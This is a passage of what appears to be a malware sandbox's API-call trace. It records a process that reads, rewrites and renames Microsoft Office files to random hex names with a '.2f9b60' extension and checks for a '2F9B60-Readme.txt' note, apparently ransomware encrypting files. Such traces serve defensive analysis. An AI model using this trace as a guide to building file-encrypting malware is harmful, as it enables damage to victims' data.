Seed=0x233af5d0 | out: Seed=0x233af5d0) returned 0x7dbc20b7 [0118.847] RtlRandomEx (in: Seed=0x233af5d0 | out: Seed=0x233af5d0) returned 0x7b9b683b [0118.847] RtlRandomEx (in: Seed=0x233af5d0 | out: Seed=0x233af5d0) returned 0x55a8f126 [0118.847] RtlRandomEx (in: Seed=0x233af5d0 | out: Seed=0x233af5d0) returned 0x710060d [0118.854] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aa530 [0118.854] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85ea10 [0118.854] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aa260 [0118.854] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ea10) returned 1 [0118.854] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aa5c0) returned 1 [0118.854] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aa7d0) returned 1 [0118.854] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x20200d80 [0118.855] SetFilePointerEx (in: hFile=0x1628, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.855] ReadFile (in: hFile=0x1628, lpBuffer=0x20200d80, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x233af640, lpOverlapped=0x0 | out: lpBuffer=0x20200d80*, lpNumberOfBytesRead=0x233af640*=0x3c00, lpOverlapped=0x0) returned 1 [0119.072] SetFilePointerEx (in: hFile=0x1628, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.072] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c620 [0119.073] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85e090 [0119.073] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aa9e0 [0119.073] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aa9e0) returned 1 [0119.073] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x201db4e0 [0119.073] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aa9e0 [0119.073] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aaa40 [0119.074] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aaa40) returned 1 [0119.074] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85e090) returned 1 [0119.074] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c620) returned 1 [0119.074] WriteFile (in: hFile=0x1628, lpBuffer=0x201db4e0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x233af640, lpOverlapped=0x0 | out: lpBuffer=0x201db4e0*, lpNumberOfBytesWritten=0x233af640*=0x3c00, lpOverlapped=0x0) returned 1 [0130.105] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201db4e0) returned 1 [0130.106] SetFilePointerEx (in: hFile=0x1628, liDistanceToMove=0x3fc00, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.106] ReadFile (in: hFile=0x1628, lpBuffer=0x20200d80, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x233af640, lpOverlapped=0x0 | out: lpBuffer=0x20200d80*, lpNumberOfBytesRead=0x233af640*=0x3c00, lpOverlapped=0x0) returned 1 [0130.107] SetFilePointerEx (in: hFile=0x1628, liDistanceToMove=0x3fc00, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.107] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97120 [0130.107] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b867ec0 [0130.107] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263380 [0130.107] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263380) returned 1 [0130.108] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x201db4e0 [0130.108] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263380 [0130.108] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262b70 [0130.108] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262b70) returned 1 [0130.108] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867ec0) returned 1 [0130.108] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97120) returned 1 [0130.108] WriteFile (hFile=0x1628, lpBuffer=0x201db4e0, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x233af640, lpOverlapped=0x0) [0171.044] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201db4e0) returned 1 [0171.044] SetFilePointerEx (in: hFile=0x1628, liDistanceToMove=0x75400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.044] ReadFile (in: hFile=0x1628, lpBuffer=0x20200d80, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x233af640, lpOverlapped=0x0 | out: lpBuffer=0x20200d80*, lpNumberOfBytesRead=0x233af640*=0x3c00, lpOverlapped=0x0) returned 1 [0171.214] SetFilePointerEx (in: hFile=0x1628, liDistanceToMove=0x75400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.214] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97990 [0171.214] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79da70 [0171.215] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1d280 [0171.215] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c1d280) returned 1 [0171.215] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x2032f950 [0171.216] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1d280 [0171.216] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1d2b0 [0171.216] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c1d2b0) returned 1 [0171.217] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79da70) returned 1 [0171.217] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97990) returned 1 [0171.217] WriteFile (in: hFile=0x1628, lpBuffer=0x2032f950*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x233af640, lpOverlapped=0x0 | out: lpBuffer=0x2032f950*, lpNumberOfBytesWritten=0x233af640*=0x3c00, lpOverlapped=0x0) returned 1 [0194.855] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2032f950) returned 1 [0194.855] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x1cddf750 [0194.856] SetFilePointerEx (in: hFile=0x1628, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0194.856] WriteFile (in: hFile=0x1628, lpBuffer=0x431f4720*, nNumberOfBytesToWrite=0x14a, lpNumberOfBytesWritten=0x233af6f0, lpOverlapped=0x0 | out: lpBuffer=0x431f4720*, lpNumberOfBytesWritten=0x233af6f0*=0x14a, lpOverlapped=0x0) returned 1 [0206.468] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059000 [0206.468] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ceba7e0 [0206.469] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050ea10 [0206.469] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050ea10) returned 1 [0206.469] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d4e0 [0206.470] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050ea10 [0206.470] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050e9b0 [0206.471] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050e9b0) returned 1 [0206.471] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ceba7e0) returned 1 [0206.471] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059000) returned 1 [0206.471] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cd9eaf0 [0206.472] sprintf (in: _Dest=0x1cd9eaf0, _Format="%c%c" | out: _Dest="0b") returned 2 [0206.472] sprintf (in: _Dest=0x1cd9eaf2, _Format="%c%c" | out: _Dest="04") returned 2 [0206.472] sprintf (in: _Dest=0x1cd9eaf4, _Format="%c%c" | out: _Dest="43") returned 2 [0206.472] sprintf (in: _Dest=0x1cd9eaf6, _Format="%c%c" | out: _Dest="40") returned 2 [0206.472] sprintf (in: _Dest=0x1cd9eaf8, _Format="%c%c" | out: _Dest="81") returned 2 [0206.472] sprintf (in: _Dest=0x1cd9eafa, _Format="%c%c" | out: _Dest="fb") returned 2 [0206.472] sprintf (in: _Dest=0x1cd9eafc, _Format="%c%c" | out: _Dest="c1") returned 2 [0206.472] sprintf (in: _Dest=0x1cd9eafe, _Format="%c%c" | out: _Dest="ed") returned 2 [0206.472] sprintf (in: _Dest=0x1cd9eb00, _Format="%c%c" | out: _Dest="5a") returned 2 [0206.472] sprintf (in: _Dest=0x1cd9eb02, _Format="%c%c" | out: _Dest="a4") returned 2 [0206.472] sprintf (in: _Dest=0x1cd9eb04, _Format="%c%c" | out: _Dest="66") returned 2 [0206.472] sprintf (in: _Dest=0x1cd9eb06, _Format="%c%c" | out: _Dest="88") returned 2 [0206.472] sprintf (in: _Dest=0x1cd9eb08, _Format="%c%c" | out: _Dest="76") returned 2 [0206.472] sprintf (in: _Dest=0x1cd9eb0a, _Format="%c%c" | out: _Dest="fd") returned 2 [0206.472] sprintf (in: _Dest=0x1cd9eb0c, _Format="%c%c" | out: _Dest="7f") returned 2 [0206.472] sprintf (in: _Dest=0x1cd9eb0e, _Format="%c%c" | out: _Dest="73") returned 2 [0206.472] sprintf (in: _Dest=0x1cd9eb10, _Format="%c%c" | out: _Dest="16") returned 2 [0206.472] sprintf (in: _Dest=0x1cd9eb12, _Format="%c%c" | out: _Dest="83") returned 2 [0206.472] sprintf (in: _Dest=0x1cd9eb14, _Format="%c%c" | out: _Dest="ca") returned 2 [0206.472] sprintf (in: _Dest=0x1cd9eb16, _Format="%c%c" | out: _Dest="7a") returned 2 [0206.472] sprintf (in: _Dest=0x1cd9eb18, _Format="%c%c" | out: _Dest="d3") returned 2 [0206.472] sprintf (in: _Dest=0x1cd9eb1a, _Format="%c%c" | out: _Dest="c3") returned 2 [0206.473] sprintf (in: _Dest=0x1cd9eb1c, _Format="%c%c" | out: _Dest="d6") returned 2 [0206.473] sprintf (in: _Dest=0x1cd9eb1e, _Format="%c%c" | out: _Dest="df") returned 2 [0206.473] RtlInitAnsiString (in: DestinationString=0x233af768, SourceString="0b04434081fbc1ed5aa4668876fd7f731683ca7ad3c3d6df" | out: DestinationString="0b04434081fbc1ed5aa4668876fd7f731683ca7ad3c3d6df") [0206.473] RtlAnsiStringToUnicodeString (in: DestinationString=0x233af738, SourceString="0b04434081fbc1ed5aa4668876fd7f731683ca7ad3c3d6df", AllocateDestinationString=1 | out: DestinationString="0b04434081fbc1ed5aa4668876fd7f731683ca7ad3c3d6df") returned 0x0 [0206.473] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1cddfad0 [0206.473] wcscat (in: _Dest=0x431550b0, _Source="0b04434081fb" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\0b04434081fb") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\0b04434081fb" [0206.473] wcscat (in: _Dest=0x431550b0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\0b04434081fb.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\0b04434081fb.2f9b60" [0206.474] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\0b04434081fb.2f9b60", NtPathName=0x233af710, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\0b04434081fb.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0206.474] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa6) returned 0x1b861f90 Thread: id = 1386 os_tid = 0xf68 [0118.786] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\AEC.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\aec.vsl")) returned 0x20 [0118.787] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\AEC.VSL", dwFileAttributes=0x20) returned 1 [0118.788] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\AEC.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\aec.vsl"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1630 [0118.789] GetFileSizeEx (in: hFile=0x1630, lpFileSize=0x3e30fa00 | out: lpFileSize=0x3e30fa00*=69496) returned 1 [0118.789] SetFilePointerEx (in: hFile=0x1630, liDistanceToMove=0x10f74, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.789] ReadFile (in: hFile=0x1630, lpBuffer=0x3e30f980, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3e30f9c8, lpOverlapped=0x0 | out: lpBuffer=0x3e30f980*, lpNumberOfBytesRead=0x3e30f9c8*=0x4, lpOverlapped=0x0) returned 1 [0118.856] SetFilePointerEx (in: hFile=0x1630, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.856] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aa7d0 [0118.856] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aa5c0 [0118.856] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aa4d0 [0118.856] NtQuerySystemTime (in: CurrentTime=0x3e30f8c0 | out: CurrentTime=0x3e30f8c0*=132462177242770000) returned 0x0 [0118.856] RtlRandomEx (in: Seed=0x3e30f8b0 | out: Seed=0x3e30f8b0) returned 0x3cb4d88a [0118.856] RtlRandomEx (in: Seed=0x3e30f8b0 | out: Seed=0x3e30f8b0) returned 0x568a18bb [0118.856] RtlRandomEx (in: Seed=0x3e30f8b0 | out: Seed=0x3e30f8b0) returned 0x5fc448d [0118.856] RtlRandomEx (in: Seed=0x3e30f8b0 | out: Seed=0x3e30f8b0) returned 0x3dbfc38c [0118.856] RtlRandomEx (in: Seed=0x3e30f8b0 | out: Seed=0x3e30f8b0) returned 0x416149b7 [0118.856] RtlRandomEx (in: Seed=0x3e30f8b0 | out: Seed=0x3e30f8b0) returned 0x3251baba [0118.856] RtlRandomEx (in: Seed=0x3e30f8b0 | out: Seed=0x3e30f8b0) returned 0x580675d8 [0118.857] RtlRandomEx (in: Seed=0x3e30f8b0 | out: Seed=0x3e30f8b0) returned 0x6024c8dd [0118.857] RtlRandomEx (in: Seed=0x3e30f8b0 | out: Seed=0x3e30f8b0) returned 0x336c3a84 [0118.857] RtlRandomEx (in: Seed=0x3e30f8b0 | out: Seed=0x3e30f8b0) returned 0x6ccc0fb7 [0118.857] RtlRandomEx (in: Seed=0x3e30f8b0 | out: Seed=0x3e30f8b0) returned 0x65933ce8 [0118.857] RtlRandomEx (in: Seed=0x3e30f8b0 | out: Seed=0x3e30f8b0) returned 0x69d138ec [0118.857] RtlRandomEx (in: Seed=0x3e30f8b0 | out: Seed=0x3e30f8b0) returned 0x25060ad3 [0118.857] RtlRandomEx (in: Seed=0x3e30f8b0 | out: Seed=0x3e30f8b0) returned 0x28c5b2d4 [0118.857] RtlRandomEx (in: Seed=0x3e30f8b0 | out: Seed=0x3e30f8b0) returned 0x179d406b [0118.857] RtlRandomEx (in: Seed=0x3e30f8b0 | out: Seed=0x3e30f8b0) returned 0x78e92ec1 [0118.857] RtlRandomEx (in: Seed=0x3e30f8b0 | out: Seed=0x3e30f8b0) returned 0x1df27ce7 [0118.857] RtlRandomEx (in: Seed=0x3e30f8b0 | out: Seed=0x3e30f8b0) returned 0x4760dfae [0118.857] RtlRandomEx (in: Seed=0x3e30f8b0 | out: Seed=0x3e30f8b0) returned 0x4e87b75f [0118.857] RtlRandomEx (in: Seed=0x3e30f8b0 | out: Seed=0x3e30f8b0) returned 0x3eb83417 [0118.857] RtlRandomEx (in: Seed=0x3e30f8b0 | out: Seed=0x3e30f8b0) returned 0x54ba4e7e [0118.857] RtlRandomEx (in: Seed=0x3e30f8b0 | out: Seed=0x3e30f8b0) returned 0x39a1ca2 [0118.857] RtlRandomEx (in: Seed=0x3e30f8b0 | out: Seed=0x3e30f8b0) returned 0x36067c41 [0118.857] RtlRandomEx (in: Seed=0x3e30f8b0 | out: Seed=0x3e30f8b0) returned 0x26fafd92 [0118.857] RtlRandomEx (in: Seed=0x3e30f8b0 | out: Seed=0x3e30f8b0) returned 0xde98f03 [0118.857] RtlRandomEx (in: Seed=0x3e30f8b0 | out: Seed=0x3e30f8b0) returned 0x473c96fa [0118.857] RtlRandomEx (in: Seed=0x3e30f8b0 | out: Seed=0x3e30f8b0) returned 0x59eb0589 [0118.857] RtlRandomEx (in: Seed=0x3e30f8b0 | out: Seed=0x3e30f8b0) returned 0x64f33781 [0118.857] RtlRandomEx (in: Seed=0x3e30f8b0 | out: Seed=0x3e30f8b0) returned 0x3b313780 [0118.857] RtlRandomEx (in: Seed=0x3e30f8b0 | out: Seed=0x3e30f8b0) returned 0x28843fe3 [0118.857] RtlRandomEx (in: Seed=0x3e30f8b0 | out: Seed=0x3e30f8b0) returned 0x424b2aac [0118.857] RtlRandomEx (in: Seed=0x3e30f8b0 | out: Seed=0x3e30f8b0) returned 0x2ad41513 [0118.865] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aa6b0 [0118.865] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85ea10 [0118.865] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aaad0 [0118.866] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ea10) returned 1 [0118.866] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aa4d0) returned 1 [0118.866] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aa7d0) returned 1 [0118.866] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x201f5950 [0118.866] SetFilePointerEx (in: hFile=0x1630, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.866] ReadFile (in: hFile=0x1630, lpBuffer=0x201f5950, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3e30f920, lpOverlapped=0x0 | out: lpBuffer=0x201f5950*, lpNumberOfBytesRead=0x3e30f920*=0x3c00, lpOverlapped=0x0) returned 1 [0119.154] SetFilePointerEx (in: hFile=0x1630, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.154] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c620 [0119.154] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85e090 [0119.154] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aaa40 [0119.154] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aaa40) returned 1 [0119.154] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x201f9560 [0119.155] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aaa40 [0119.155] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aaa10 [0119.155] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aaa10) returned 1 [0119.155] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85e090) returned 1 [0119.155] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c620) returned 1 [0119.155] WriteFile (in: hFile=0x1630, lpBuffer=0x201f9560*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3e30f920, lpOverlapped=0x0 | out: lpBuffer=0x201f9560*, lpNumberOfBytesWritten=0x3e30f920*=0x3c00, lpOverlapped=0x0) returned 1 [0128.814] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201f9560) returned 1 [0128.814] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201f5950) returned 1 [0128.814] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1c) returned 0x202a88c0 [0128.815] SetFilePointerEx (in: hFile=0x1630, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0128.815] WriteFile (in: hFile=0x1630, lpBuffer=0x1694d0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3e30f9d0, lpOverlapped=0x0 | out: lpBuffer=0x1694d0*, lpNumberOfBytesWritten=0x3e30f9d0*=0x100, lpOverlapped=0x0) returned 1 [0128.818] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c4e0 [0128.818] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b867d40 [0128.818] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9e50 [0128.818] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a9e50) returned 1 [0128.818] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xe) returned 0x1b7d5a50 [0128.819] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9e50 [0128.819] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9e20 [0128.819] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a9e20) returned 1 [0128.819] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867d40) returned 1 [0128.819] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c4e0) returned 1 [0128.819] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1d) returned 0x202a9e20 [0128.819] sprintf (in: _Dest=0x202a9e20, _Format="%c%c" | out: _Dest="e8") returned 2 [0128.819] sprintf (in: _Dest=0x202a9e22, _Format="%c%c" | out: _Dest="fc") returned 2 [0128.819] sprintf (in: _Dest=0x202a9e24, _Format="%c%c" | out: _Dest="80") returned 2 [0128.819] sprintf (in: _Dest=0x202a9e26, _Format="%c%c" | out: _Dest="aa") returned 2 [0128.819] sprintf (in: _Dest=0x202a9e28, _Format="%c%c" | out: _Dest="9e") returned 2 [0128.819] sprintf (in: _Dest=0x202a9e2a, _Format="%c%c" | out: _Dest="86") returned 2 [0128.819] sprintf (in: _Dest=0x202a9e2c, _Format="%c%c" | out: _Dest="2e") returned 2 [0128.819] sprintf (in: _Dest=0x202a9e2e, _Format="%c%c" | out: _Dest="c0") returned 2 [0128.819] sprintf (in: _Dest=0x202a9e30, _Format="%c%c" | out: _Dest="df") returned 2 [0128.819] sprintf (in: _Dest=0x202a9e32, _Format="%c%c" | out: _Dest="64") returned 2 [0128.819] sprintf (in: _Dest=0x202a9e34, _Format="%c%c" | out: _Dest="87") returned 2 [0128.819] sprintf (in: _Dest=0x202a9e36, _Format="%c%c" | out: _Dest="eb") returned 2 [0128.820] sprintf (in: _Dest=0x202a9e38, _Format="%c%c" | out: _Dest="31") returned 2 [0128.820] sprintf (in: _Dest=0x202a9e3a, _Format="%c%c" | out: _Dest="a2") returned 2 [0128.820] RtlInitAnsiString (in: DestinationString=0x3e30fa48, SourceString="e8fc80aa9e862ec0df6487eb31a2" | out: DestinationString="e8fc80aa9e862ec0df6487eb31a2") [0128.820] RtlAnsiStringToUnicodeString (in: DestinationString=0x3e30fa18, SourceString="e8fc80aa9e862ec0df6487eb31a2", AllocateDestinationString=1 | out: DestinationString="e8fc80aa9e862ec0df6487eb31a2") returned 0x0 [0128.820] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3a) returned 0x1b82c490 [0128.820] wcscat (in: _Dest=0x202aead0, _Source="e8fc80a" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\e8fc80a") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\e8fc80a" [0128.820] wcscat (in: _Dest=0x202aead0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\e8fc80a.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\e8fc80a.2f9b60" [0128.820] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\e8fc80a.2f9b60", NtPathName=0x3e30f9f0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\e8fc80a.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0128.820] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9c) returned 0x1b8615f0 [0128.822] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8615f0) returned 1 [0128.822] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf47e10) returned 1 [0128.822] NtQueryInformationFile (in: FileHandle=0x1630, IoStatusBlock=0x3e30fa58, FileInformation=0x3e30fa68, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x3e30fa58, FileInformation=0x3e30fa68) returned 0x0 [0128.822] NtSetInformationFile (FileHandle=0x1630, IoStatusBlock=0x3e30fa58, FileInformation=0x3e30fa68, Length=0x28, FileInformationClass=0x4) returned 0x0 [0128.825] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aead0) returned 1 [0128.825] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c490) returned 1 [0128.825] FlushFileBuffers (hFile=0x1630) returned 1 [0128.826] CloseHandle (hObject=0x1630) returned 1 [0128.827] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x86) returned 0x202aead0 [0128.827] wcscpy (in: _Dest=0x202aead0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\1033\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\" [0128.827] wcscat (in: _Dest=0x202aead0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\2F9B60-Readme.txt" [0128.827] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\2f9b60-readme.txt")) returned 0x20 [0128.828] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aead0) returned 1 [0128.828] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85e990) returned 1 Thread: id = 1387 os_tid = 0x1098 [0118.804] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\AECUTILS.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\aecutils.vsl")) returned 0x20 [0118.805] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\AECUTILS.VSL", 